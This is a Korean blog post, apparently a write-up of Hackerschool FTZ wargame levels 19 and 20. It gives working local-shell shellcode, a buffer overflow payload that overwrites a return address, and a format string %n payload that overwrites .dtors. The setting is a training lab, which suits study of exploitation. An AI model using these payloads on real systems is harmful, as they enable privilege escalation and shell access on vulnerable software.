level19
아이디랑 비밀번호 입력해주고 안에 파일들 확인해보고 hint를 봅시당 이번엔 되게 짧은 코드!
setreuid가 없어서 이게 포함된 41바이트의 쉘코드를 사용할 것이다.
$export EGG=`python -c 'print "\x90"*20+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
바로 이것!!
그리고 쉘코드가 시작되는 주소를 찾기 위해서
echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
c언어 코드 만들어주고
컴파일 해준 다음에 실행시키면 주소가 저렇게 나온다. 0xbffffc74이다.
gdb를 통해서 buf의 위치를 확인해보면 ebp-40임을 알 수 있다. 44바이트를 쓸데없는 값으로 채우고 리턴주소를 아까 찾아낸 주소로 덮어주면 된다.
(python -c 'print "A"*44+"\x78\xfc\xff\xbf"'; cat) | ./attackme! 명령어 입력해주고 my-pass입력해주면 비밀번호가 나온다.!!
level20
마지막..! 로그인이 안돼서 왜그러지,,, 이러고 있었는데 아이디를 계속 level19로 하고있었음ㅋ
암튼 안에 있는 파일 확인하고 hint 확인해보면!? 80바이트짜리 bleh를 선언했는데 받는거는 79바이트다..!
그리고 이상함을 느꼈던 것은 보통 c언어에서 printf(%s, bleh) 이러지 않나..? 이거였다.
찾아보니 이 문제를 포맷스트링 버그라고 하는데
버퍼 오버플로우 해킹 기법의 한종류로써, 사용자의 입력에 의해서 프로그램의 흐름을 변경시킬수있는 취약점이다.
이렇게 얘기를 한다!
attackme 파일이 어떻게 흘러가는지 살펴보기 위해서 실행을 시켜보면 서식을 입력하면 메모리를 출력해준다는 것을 알 수 있다.
문자와 서식을 입력해보니 4번째부터 우리가 입력한 41414141이 보인다. 41은 A니까!
objdump 명령어를 이용해서 .dtorsf를 찾아보자!
objdump 명령어는 소스코드를 컴파일한 바이너리(object파일 또는 실행파일 둘다 가능)파일이 있을 때 이 파일을 disassemble할 때 사용된다.
오호.. 0x8049594+4=0x8049598에 있다. 여기에 쉘코드 주소를 넣을 것이다.
export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
쉘코드 넣구
echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c c언어로 간단한 코드를 짜주고
실행을 시키면 주소를 찾아낼 수 있다. 0xbffffc89군요! 저기에다가 쉘코드의 주소를 올려야한다.
0xbffffc89의 정수값은 x86시스템에서 지정할 수 없는 크기이기 때문에 %n을 이용해서 반반씩 덮어주려 한다.
0xfc89는 0x8049598여기에, 0xbfff는 0x804959a에 넣는다.
그래서 실행하기 위해서
(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%64613c%n"+"%50034c%n"'; cat) | ./attackme
이를 입력해주고 나서 my-pass를 입력하면 비밀번호가 나온다.
'HACKING > HACKERSCHOOL FTZ' 카테고리의 다른 글
hackerschool ftz level 17, 18 문제 풀이 (0) | 2021.05.13 |
---|---|
hackerschool ftz level 15, 16 문제 풀이 (0) | 2021.05.12 |
hackerschool ftz level 13, 14 문제 풀이 (0) | 2021.05.12 |
hackerschool ftz level 11, 12 문제 풀이 (0) | 2021.05.12 |
hackerschool FTZ LEVEL 9,10 문제 풀이! (0) | 2021.04.06 |